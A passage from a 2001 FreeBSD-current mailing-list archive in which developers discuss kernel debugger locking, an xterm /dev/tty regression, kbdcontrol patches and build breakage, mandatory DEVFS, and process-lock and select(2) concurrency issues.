totalbytes_read/((1024*1024)*etime); else *destination = 0.0; case DEVSTAT_MB_PER_SECOND_WRITE: if (etime > 0.0) *destination = totalbytes_write/((1024*1024)*etime); else *destination = 0.0; case DEVSTAT_TOTAL_BLOCKS: *destination = totalblocks; case DEVSTAT_TOTAL_BLOCKS_READ: *destination = totalblocks_read; case DEVSTAT_TOTAL_BLOCKS_WRITE: *destination = totalblocks_write; case DEVSTAT_BLOCKS_PER_SECOND: if (etime > 0.0) *destination = totalblocks/etime; else *destination = 0.0; case DEVSTAT_BLOCKS_PER_SECOND_READ: if (etime > 0.0) *destination = totalblocks_read/etime; else *destination = 0.0; case DEVSTAT_BLOCKS_PER_SECOND_WRITE: if (etime > 0.0) *destination = totalblocks_write/etime; else *destination = 0.0; case DEVSTAT_MS_PER_TRANSACTION: if (totaltransfers > 0) *destination = (etime*1000)/totaltransfers; else *destination = 0.0; case DEVSTAT_MS_PER_TRANSACTION_READ: if (totaltransfers_read > 0) *destination = (etime*1000)/totaltransfers_read; else *destination = 0.0; case DEVSTAT_MS_PER_TRANSACTION_WRITE: if (totaltransfers_write > 0) *destination = (etime*1000)/totaltransfers_write; else *destination = 0.0; default: *destination = 0.0; } } else { sprintf(devstat_errbuf, "%s: variable is not long double *", func_name); return(-1); } } va_end(ap); return(0); } --tKW2IUtsqtDRztdT-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon May 14 13: 5: 8 2001 Delivered-To: freebsd-current@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 0666637B424; Mon, 14 May 2001 13:05:05 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id QAA29504; Mon, 14 May 2001 16:05:02 -0400 (EDT) (envelope-from wollman) Date: Mon, 14 May 2001 16:05:02 -0400 (EDT) From: Garrett Wollman Message-Id: <200105142005.QAA29504@khavrinen.lcs.mit.edu> To: Robert Watson Cc: freebsd-current@FreeBSD.ORG Subject: Re: pgm to kill 4.3 via vm In-Reply-To: References: <200105092117.RAA74500@khavrinen.lcs.mit.edu> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > The process and signal-related structures may be inconsistent if the > debugger disregards existing locks held over those structures. It does > not matter if code is currently still executing, it matters that > preemption can occur. The choices appear to be: Preemption should never occur while the debugger is running. If those structures are in an inconsistent state, it *should* be visible to the debugger. -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon May 14 13:19:22 2001 Delivered-To: freebsd-current@freebsd.org Received: from bunrab.catwhisker.org (adsl-63-193-123-122.dsl.snfc21.pacbell.net [63.193.123.122]) by hub.freebsd.org (Postfix) with ESMTP id B263437B423 for ; Mon, 14 May 2001 13:19:18 -0700 (PDT) (envelope-from david@catwhisker.org) Received: (from david@localhost) by bunrab.catwhisker.org (8.10.0/8.10.0) id f4EKJGA75484 for current@freebsd.org; Mon, 14 May 2001 13:19:16 -0700 (PDT) Date: Mon, 14 May 2001 13:19:16 -0700 (PDT) From: David Wolfskill Message-Id: <200105142019.f4EKJGA75484@bunrab.catwhisker.org> To: current@freebsd.org Subject: Huh??!? xterm: Error 14, errno 2: No such file or directory Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is today's -CURRENT: FreeBSD m147.whistle.com 5.0-CURRENT FreeBSD 5.0-CURRENT #64: Mon May 14 09:06:50 PDT 2001 root@localhost:/common/C/obj/usr/src/sys/LAPTOP_30W i386 Earlier today, I built -STABLE: FreeBSD m147.whistle.com 4.3-STABLE FreeBSD 4.3-STABLE #49: Mon May 14 06:37:18 PDT 2001 root@dhcp-140.catwhisker.org:/common/S1/obj/usr/src/sys/LAPTOP_30W i386 and it seems OK. Built -CURRENT & rebooted after mergemaster as usual, and some X applications (xbattbar; xlockmore; oclock) work OK, but no xterm. At least, not from X (XF86-4.0.3). I tried using Ctl-Alt-F2 to get to a non-X login, logged in , set DISPLAY to m147:0.0, issued "xterm &", and got an xterm OK. Once I did that, I could start another xterm from that one. Sounds as if something's hosed $DISPLAY... but then why would other X apps display OK? (I just checked; xfig & xv come up fine, direct from the tvtwm menu.) So I tried "cd /usr/ports/x11/XFree86-4; sudo make reinstall"; that done, I re-booted. Still no joy. So... I wouldn't normally sent this to the -current list, but I'm rather at a loss, and as far as I can tell, the difference would seem to have been a recent one in -CURRENT -- after all, I have been tracking each of -STABLE and -CURRENT daily (including the weekends, yes). The one other thing that appears to be fairly bogus (and possibly related) is that although I was prompted for my SSH "passphrase" in .xsession as usual, today (for the first time that I can recall), I see the following: m147[14] ssh-add -l Could not open a connection to your authentication agent. Normally, I see something indicating that ssh-agent "did the right thing" for me.... Now, in order to get -CURRENT to build yesterday, I had patched src/usr.sbin/kbdcontrol/kbdcontrol.c at revision 1.34 (patch sent out by John Hay), then did a "make all install" from the src/usr.sbin/kbdcontrol directory, then a "make buildworld" sequence from /usr/src. This morning, I see that sobomax patched src/usr.sbin/kbdcontrol/kbdcontrol.c to revision 1.35, so I blew away my patched version & re-synced it with the repostory (revision 1.35) before the "make buildworld". Maybe I need to re-build world...??!??? (I recall that (part of?) the issue with yesterday's breakage was that the "make dependencies" uses some userland programs, /usr/sbin/kbdcontrol among them.....) Thanks, david -- David H. Wolfskill david@catwhisker.org As a computing professional, I believe it would be unethical for me to advise, recommend, or support the use (save possibly for personal amusement) of any product that is or depends on any Microsoft product. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon May 14 15:40: 5 2001 Delivered-To: freebsd-current@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 1CC3F37B42C for ; Mon, 14 May 2001 15:40:03 -0700 (PDT) (envelope-from robert@fledge.watson.org) Received: from fledge.watson.org (robert@fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.11.3/8.11.3) with SMTP id f4EMc7f77908; Mon, 14 May 2001 18:38:07 -0400 (EDT) (envelope-from robert@fledge.watson.org) Date: Mon, 14 May 2001 18:38:07 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org To: Garrett Wollman Cc: freebsd-current@FreeBSD.ORG Subject: Re: pgm to kill 4.3 via vm In-Reply-To: <200105142005.QAA29504@khavrinen.lcs.mit.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 14 May 2001, Garrett Wollman wrote: > < said: > > > The process and signal-related structures may be inconsistent if the > > debugger disregards existing locks held over those structures. It does > > not matter if code is currently still executing, it matters that > > preemption can occur. The choices appear to be: > > Preemption should never occur while the debugger is running. If those > structures are in an inconsistent state, it *should* be visible to the > debugger. Yes, exactly. The debugger my preempt, and the structures may be in an inconsistent state. Therefor, caution must be used when making use of functions that assume a consistent state, or attempt to make use of locks which may already be held but cannot be released. Robert N M Watson FreeBSD Core Team, TrustedBSD Project robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon May 14 16: 8:43 2001 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [209.152.133.57]) by hub.freebsd.org (Postfix) with ESMTP id E90B437B422 for ; Mon, 14 May 2001 16:08:40 -0700 (PDT) (envelope-from obrien@NUXI.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.11.3/8.11.1) id f4EN8e860616 for current@freebsd.org; Mon, 14 May 2001 16:08:40 -0700 (PDT) (envelope-from obrien) Date: Mon, 14 May 2001 16:08:40 -0700 From: "David O'Brien" To: current@freebsd.org Subject: wchar.h / Citrus import Message-ID: <20010514160840.A60568@dragon.nuxi.com> Reply-To: obrien@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am going to import parts of the Citrus Project XPG4DL (an implementation of I18N (locale) framework). We *need* wchar.h and we just cannot wait. If there are known concerns or issues with this, please let me know. -- -- David (obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon May 14 23: 9:50 2001 Delivered-To: freebsd-current@freebsd.org Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by hub.freebsd.org (Postfix) with ESMTP id 3429837B43E; Mon, 14 May 2001 23:09:46 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from mindspring.com (pool0356.cvx21-bradley.dialup.earthlink.net [209.179.193.101]) by maynard.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id CAA03956; Tue, 15 May 2001 02:09:12 -0400 (EDT) Message-ID: <3B00C81E.C0A01781@mindspring.com> Date: Mon, 14 May 2001 23:09:34 -0700 From: Terry Lambert Reply-To: tlambert2@mindspring.com X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: John Hay Cc: sobomax@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: -CURRENT b0rked? References: <200105131513.f4DFD2l91900@zibbi.icomtek.csir.co.za> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG John Hay wrote: > > > > > > > > > It seems that sysinstall(8) was not fully integrated into > > > > buildworld - it depends on content of /usr/share/syscons/keymaps, > > > > while it shouldn't. > > > > > > > > I've just committed a patch that should fix this problem. > > > > You should look a little earlier in the logs to where the damage was really > > done: > > > > rm -f keymap.tmp > > for map in be.iso br275.iso danish.iso finnish.iso fr.iso german.iso hr.iso hu. > > iso2.101keys it.iso icelandic.iso jp.106 norwegian.iso pl_PL.ISO_8859-2 pt.iso > > ru.koi8-r si.iso spanish.iso swedish.iso swissfrench.iso swissgerman.iso ua.koi > > 8-u ua.koi8-u.shift.alt uk.iso us.dvorak us.iso us.pc-ctrl us.unix ; do env KE > > YMAP_PATH=/usr/src/usr.sbin/sysinstall/../../share/syscons/keymaps kbdcontrol - > > L $map | sed -e '/^static accentmap_t/,$d' >> keymap.tmp ; done > > Segmentation fault - core dumped > > ... > > > > It looks like kbdcontrol is not very happy. > > Ok, here is a patch that fix the problem for me. The problem is that > a second call to mkfullname() will reuse the memory at the pointer that > it returns, so you have to preserve it before then. > > John > -- > John Hay -- John.Hay@icomtek.csir.co.za > > Index: usr.sbin/kbdcontrol/kbdcontrol.c > =================================================================== > RCS file: /home/ncvs/src/usr.sbin/kbdcontrol/kbdcontrol.c,v > retrieving revision 1.34 > diff -u -r1.34 kbdcontrol.c > --- usr.sbin/kbdcontrol/kbdcontrol.c 2001/05/12 09:16:09 1.34 > +++ usr.sbin/kbdcontrol/kbdcontrol.c 2001/05/13 15:02:14 > @@ -751,8 +751,11 @@ > char *prefix[] = {"", "", KEYMAP_PATH, NULL}; > char *postfix[] = {"", ".kbd", NULL}; > > - if (cp = getenv("KEYMAP_PATH")) > - prefix[0] = mkfullname(cp, "/", ""); > + if (cp = getenv("KEYMAP_PATH")) { > + cp = mkfullname(cp, "/", ""); > + prefix[0] = malloc(strlen(cp) + 1); > + strcpy(prefix[0], cp); Alternately: prefix[0] = strdup(mkfullname(cp, "/", "")); Probably you should check for failures, though... -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon May 14 23:14:12 2001 Delivered-To: freebsd-current@freebsd.org Received: from rina.r.dl.itc.u-tokyo.ac.jp (cvsup2.r.dl.itc.u-tokyo.ac.jp [133.11.199.247]) by hub.freebsd.org (Postfix) with ESMTP id BD4CB37B424; Mon, 14 May 2001 23:14:08 -0700 (PDT) (envelope-from tanimura@r.dl.itc.u-tokyo.ac.jp) Received: from rina.r.dl.itc.u-tokyo.ac.jp (localhost [127.0.0.1]) by rina.r.dl.itc.u-tokyo.ac.jp (8.11.3+3.4W/3.7W-rina.r-20010412) with ESMTP id f4F6E0P53295 ; Tue, 15 May 2001 15:14:01 +0900 (JST) Message-Id: <200105150614.f4F6E0P53295@rina.r.dl.itc.u-tokyo.ac.jp> Date: Tue, 15 May 2001 15:14:00 +0900 From: Seigo Tanimura To: jhb@FreeBSD.org Cc: tanimura@r.dl.itc.u-tokyo.ac.jp, current@FreeBSD.org Subject: atomic operation of flags (was: RE: select(2) converted to use a condition variable, and optimis) In-Reply-To: In your message of "Mon, 07 May 2001 12:37:22 -0700 (PDT)" References: <200105060731.f467V4g13184@silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> User-Agent: Wanderlust/1.1.1 (Purple Rain) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) MULE XEmacs/21.1 (patch 14) (Cuyahoga Valley) (i386--freebsd) Organization: Digital Library Research Division, Information Techinology Centre, The University of Tokyo MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 07 May 2001 12:37:22 -0700 (PDT), John Baldwin said: John> You need the lock when clearing the bit in p_flag. That is why the proc locks John> are there, so all those proc locks need to stay. When you clear a bit, you are John> writing all the bits, so you need to ensure that you can atomically John> read/modify/write all the bits in p_flag, hence the need for the proc lock. As we now have a set of atomic operation functions in machine/atomic.h, why do we not use them to read, modify and write p_flag atomically? Is that more expensive than protecting by PROC_LOCK and PROC_UNLOCK? -- Seigo Tanimura To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon May 14 23:21: 1 2001 Delivered-To: freebsd-current@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 2461A37B422; Mon, 14 May 2001 23:20:59 -0700 (PDT) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id f4F6Ku408060; Mon, 14 May 2001 23:20:56 -0700 (PDT) Date: Mon, 14 May 2001 23:20:56 -0700 From: Alfred Perlstein To: Seigo Tanimura Cc: jhb@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: atomic operation of flags (was: RE: select(2) converted to use a condition variable, and optimis) Message-ID: <20010514232056.O2009@fw.wintelcom.net> References: <200105060731.f467V4g13184@silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> <200105150614.f4F6E0P53295@rina.r.dl.itc.u-tokyo.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200105150614.f4F6E0P53295@rina.r.dl.itc.u-tokyo.ac.jp>; from tanimura@r.dl.itc.u-tokyo.ac.jp on Tue, May 15, 2001 at 03:14:00PM +0900 X-all-your-base: are belong to us. Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Seigo Tanimura [010514 23:14] wrote: > On Mon, 07 May 2001 12:37:22 -0700 (PDT), > John Baldwin said: > > John> You need the lock when clearing the bit in p_flag. That is why the proc locks > John> are there, so all those proc locks need to stay. When you clear a bit, you are > John> writing all the bits, so you need to ensure that you can atomically > John> read/modify/write all the bits in p_flag, hence the need for the proc lock. > > As we now have a set of atomic operation functions in > machine/atomic.h, why do we not use them to read, modify and write > p_flag atomically? Is that more expensive than protecting by PROC_LOCK > and PROC_UNLOCK? That may be useful as an optimization, however afaik PROC_LOCK covers more than just the flags, if we used atomic ops for the flags and PROC_LOCK for the non-flags stuff it could cause a lot more overhead. -- -Alfred Perlstein - [alfred@freebsd.org] Daemon News Magazine in your snail-mail! http://magazine.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 0:38: 4 2001 Delivered-To: freebsd-current@freebsd.org Received: from hall.mail.mindspring.net (hall.mail.mindspring.net [207.69.200.60]) by hub.freebsd.org (Postfix) with ESMTP id A9F9C37B424; Tue, 15 May 2001 00:37:57 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from mindspring.com (pool0356.cvx21-bradley.dialup.earthlink.net [209.179.193.101]) by hall.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id DAA15748; Tue, 15 May 2001 03:37:39 -0400 (EDT) Message-ID: <3B00DCD7.2E8B404E@mindspring.com> Date: Tue, 15 May 2001 00:37:59 -0700 From: Terry Lambert Reply-To: tlambert2@mindspring.com X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Boris Popov Cc: Poul-Henning Kamp , current@FreeBSD.ORG, cvs-all@FreeBSD.ORG Subject: Re: Mandatory DEVFS (was cvs commit: src/sys/conf files options ...) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Boris Popov wrote: > > Pending any significant issues, DEVFS will be made mandatory in > > -current on july 1st so that we can start reaping the full > > benefits of having it. > > I'm not sure if this move in the right direction. > Current devfs implementation is weak compared to the static > device entries in the /dev. And sometimes it is better to > have a precreated device nodes in the ufs filesystem. Having > dual interface is not all that hard if you'll spend enough > time on design. Really, you want to make specfs "go away", which you can do, if you have devfs. Another issue is that it is impossible to netboot a FreeBSD image from a number of systems, since those systems can't host a populated FreeBSD /dev, given that they are unable to do the right MAKEDEV thing themselves. It is also not possible for FreeBSD to boot off some non-native FS, such as VFAT32, since you can't make device nodes on a VFAT32 or NTFS (etc.) file system. The backing store issue is totally seperate; it can be handled with an rc.devfs, which you could write today. Eventually, you want to make major and minor numbers "go away" entriely, and use the vnode for the device as the device reference itself. Other than the backing store issue, which would be made easier if someone were to make VFS stacking for union FS' actually work (it's only been what, 7 years now? Do we have to wait out an entire decade?). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 1:34:32 2001 Delivered-To: freebsd-current@freebsd.org Received: from peter3.wemm.org (c1315225-a.plstn1.sfba.home.com [65.0.135.147]) by hub.freebsd.org (Postfix) with ESMTP id D0F3537B42C; Tue, 15 May 2001 01:34:27 -0700 (PDT) (envelope-from peter@wemm.org) Received: from overcee.netplex.com.au (overcee.wemm.org [10.0.0.3]) by peter3.wemm.org (8.11.0/8.11.0) with ESMTP id f4F8YRM50164; Tue, 15 May 2001 01:34:27 -0700 (PDT) (envelope-from peter@wemm.org) Received: from wemm.org (localhost [127.0.0.1]) by overcee.netplex.com.au (Postfix) with ESMTP id A1AAA3811; Tue, 15 May 2001 01:34:27 -0700 (PDT) (envelope-from peter@wemm.org) X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: David Wolfskill Cc: current@FreeBSD.ORG, phk@FreeBSD.ORG Subject: Re: Huh??!? xterm: Error 14, errno 2: No such file or directory In-Reply-To: <200105142019.f4EKJGA75484@bunrab.catwhisker.org> Date: Tue, 15 May 2001 01:34:27 -0700 From: Peter Wemm Message-Id: <20010515083427.A1AAA3811@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG David Wolfskill wrote: > Built -CURRENT & rebooted after mergemaster as usual, and some X > applications (xbattbar; xlockmore; oclock) work OK, but no xterm. At > least, not from X (XF86-4.0.3). I tried using Ctl-Alt-F2 to get to > a non-X login, logged in , set DISPLAY to m147:0.0, issued "xterm &", > and got an xterm OK. Known problem. phk changed the semantics of /dev/tty in the most recent commits. Traditional behavior for a process *without* a controlling tty when it opens /dev/tty is to get ENXIO. Formerly, ctty_open() returns ENXIO: cttyopen(dev, flag, mode, p) { struct vnode *ttyvp = cttyvp(p); if (ttyvp == NULL) return (ENXIO); ... and now: ctty_clone(void *arg, char *name, int namelen, dev_t *dev) { struct vnode *vp; if (*dev != NODEV) return; if (strcmp(name, "tty")) return; vp = cttyvp(curproc); if (vp == NULL) return; <<< here, leads to ENOENT. *dev = vp->v_rdev; } There used to be a device for the ctty. We still maintain it for the non-devfs case. The following hack may work, I have not tested or even compiled it: Index: kern/tty_tty.c =================================================================== RCS file: /home/ncvs/src/sys/kern/tty_tty.c,v retrieving revision 1.34 diff -u -r1.34 tty_tty.c --- tty_tty.c 2001/05/14 08:22:56 1.34 +++ tty_tty.c 2001/05/15 08:30:17 @@ -177,6 +177,8 @@ static void ctty_clone __P((void *arg, char *name, int namelen, dev_t *dev)); +static dev_t ctty; + static void ctty_clone(void *arg, char *name, int namelen, dev_t *dev) { @@ -187,9 +189,11 @@ if (strcmp(name, "tty")) return; vp = cttyvp(curproc); - if (vp == NULL) - return; - *dev = vp->v_rdev; + if (vp == NULL) { + if (ctty) + *dev = ctty; + } else + *dev = vp->v_rdev; } @@ -201,6 +205,7 @@ if (devfs_present) { EVENTHANDLER_REGISTER(dev_clone, ctty_clone, 0, 1000); + ctty = make_dev(&ctty_cdevsw, 0, 0, 0, 0666, "ctty"); } else { make_dev(&ctty_cdevsw, 0, 0, 0, 0666, "tty"); } This hack recreates a /dev/ctty hook that works the "old way", and makes /dev/tty switch through to that one instead. This is evil and is probably even more broken than before, but I think it will work. The alternative is to edit the XFree86 xterm source and rebuild it. look for xc/programs/xterm/main.c where it opens /dev/tty and then checks an inclusive list of errno's, including ENXIO and ENODEV etc. Add ENOENT to the list of 'acceptable' errors. Incidently, the xterm binary is broken, it does not use libutil/openpty(). Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 2:28:36 2001 Delivered-To: freebsd-current@freebsd.org Received: from rina.r.dl.itc.u-tokyo.ac.jp (cvsup2.r.dl.itc.u-tokyo.ac.jp [133.11.199.247]) by hub.freebsd.org (Postfix) with ESMTP id 077B137B423; Tue, 15 May 2001 02:28:33 -0700 (PDT) (envelope-from tanimura@r.dl.itc.u-tokyo.ac.jp) Received: from rina.r.dl.itc.u-tokyo.ac.jp (localhost [127.0.0.1]) by rina.r.dl.itc.u-tokyo.ac.jp (8.11.3+3.4W/3.7W-rina.r-20010412) with ESMTP id f4F9STP74281 ; Tue, 15 May 2001 18:28:30 +0900 (JST) Message-Id: <200105150928.f4F9STP74281@rina.r.dl.itc.u-tokyo.ac.jp> Date: Tue, 15 May 2001 18:28:29 +0900 From: Seigo Tanimura To: jhb@FreeBSD.org Cc: tanimura@r.dl.itc.u-tokyo.ac.jp, current@FreeBSD.org Subject: RE: select(2) converted to use a condition variable, and optimis In-Reply-To: In your message of "Wed, 09 May 2001 19:20:07 +0900" <200105091020.f49AK7P05497@rina.r.dl.itc.u-tokyo.ac.jp> References: <200105081026.f48AQgP75260@rina.r.dl.itc.u-tokyo.ac.jp> <200105091020.f49AK7P05497@rina.r.dl.itc.u-tokyo.ac.jp> User-Agent: Wanderlust/1.1.1 (Purple Rain) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) MULE XEmacs/21.1 (patch 14) (Cuyahoga Valley) (i386--freebsd) Organization: Digital Library Research Division, Information Techinology Centre, The University of Tokyo MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 09 May 2001 19:20:07 +0900, Seigo Tanimura said: Seigo> On Tue, 08 May 2001 08:21:55 -0700 (PDT), Seigo> John Baldwin said: John> On 08-May-01 Seigo Tanimura wrote: >>> Here is another issue. PROC_LOCK may block to acquire a process lock, >>> during which an event of interest may occur or the remaining time of >>> select(2)/poll(2) may run out. Thus if the remaining time runs out >>> during locking a process, we should first rescan file descriptors to >>> avoid missing an event, followed by returning the result. John> Hmmm. Actually, can the nb_poll, ncp_poll, pollscan, or selscan functions call John> tsleep/msleep? If they don't, then we are just better off holding proc lock John> while we call them rather than releasing it just to call that function and John> acquiring it later. Then we don't have to work around the race you describe. Seigo> Poling functions called via fo_poll in a file descriptor should not Seigo> call msleep(9) in theory. Seigo> That does not, however, necessarily imply that we can scan file Seigo> descriptors with holding a process lock. Another process can release a Seigo> reference to a file descriptor via closef() during polling the Seigo> descriptor by calling its fo_poll. In this case, fdrop() subsequent to Seigo> the call of fo_poll may result the reference count of the descriptor Seigo> to be zero. Another issue that turned out just now is lock order reversal in selrecord(), where a process attempts to lock allproc sx while locking the process itself. You might see something like this in your dmesg: > lock order reversal > 1st 0xc7b9c31c process lock @ ../../kern/sys_generic.c:776 > 2nd 0xc0438800 allproc @ ../../kern/kern_proc.c:146 As it is essential in this case to lock allproc and check whether another process is waiting for an event, the only one option is to back out the change of scanning file descriptors with holding a process lock. -- Seigo Tanimura To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue May 15 6:20:20 2001 Delivered-To: freebsd-current@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 9B42F37B423; Tue, 15 May 2001 06:20:00 -0700 (PDT) (envelope-from ru@whale.sunbay.crimea.ua) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.2/8.11.2) id f4FDJv155222; Tue, 15 May 2001 16:19:57 +0300 (EEST) (envelope-from ru) Date: Tue, 15 May 2001 16:19:57 +0300 From: Ruslan Ermilov To: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org Cc: current@FreeBSD.org Subject: Re: cvs commit: src Makefile.inc1 Message-ID: <20010515161957.A54414@sunbay.com> Mail-Followup-To: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org, current@FreeBSD.org References: <200105141721.f4EHL2056720@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200105141721.f4EHL2056720@freefall.freebsd.org>; from ru@FreeBSD.org on Mon, May 14, 2001 at 10:21:02AM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, May 14, 2001 at 10:21:02AM -0700, Ruslan Ermilov wrote: > ru 2001/05/14 10:21:02 PDT > > Modified files: > . Makefile.inc1 > Log: > Add kbdcontrol(1) to bootstrap-tools. > This fixes the upgrade path breakage in usr.sbin/sysinstall. > > Revision Changes Path > 1.201 +2 -1 src/Makefile.inc1 > Argh, this doesn't work either. I first tried this with some stuff commented out in Makefile.inc1, and it succeeded. But at the time kbdcontrol is built in bootstrap-tools, ${WORLDTMP}/usr/include is not yet populated, and kbdcontrol.c requires an up-to-date header files. OTOH, the bootstrap-tools are supposed to be built under the host environment, so compiling against CURRENT sources would be a bug. Ideas? -------------------------------------------------------------- >>> stage 1: bootstrap tools -------------------------------------------------------------- [...] cd /CURRENT/usr/src/usr.sbin/kbdcontrol; make obj; make depend; make all; make install /usr/obj/CURRENT/usr/src/i386/CURRENT/usr/src/usr.sbin/kbdcontrol created for /CURRENT/usr/src/usr.sbin/kbdcontrol lex -t /CURRENT/usr/src/usr.sbin/kbdcontrol/lex.l > lex.c rm -f .depend mkdep -f .depend -a -I/CURRENT/usr/src/usr.sbin/kbdcontrol -I/usr/obj/CURRENT/usr/src/i386/usr/include /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c lex.c cd /CURRENT/usr/src/usr.sbin/kbdcontrol; make _EXTRADEPEND echo kbdcontrol: /usr/obj/CURRENT/usr/src/i386/usr/lib/libc.a /usr/obj/CURRENT/usr/src/i386/usr/lib/libl.a >> .depend cc -O -pipe -I/CURRENT/usr/src/usr.sbin/kbdcontrol -I/usr/obj/CURRENT/usr/src/i386/usr/include -c /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c: In function `get_entry': /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c:206: `PASTE' undeclared (first use in this function) /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c:206: (Each undeclared identifier is reported only once /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c:206: for each function it appears in.) /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c: In function `print_entry': /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c:444: `PASTE' undeclared (first use in this function) /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c: In function `dump_entry': /CURRENT/usr/src/usr.sbin/kbdcontrol/kbdcontrol.c:646: `PASTE' undeclared (first use in this function) *** Error code 1 Stop in /CURRENT/usr/src/usr.sbin/kbdcontrol. *** Error code 1 Stop in /CURRENT/usr/src. *** Error code 1 Stop in 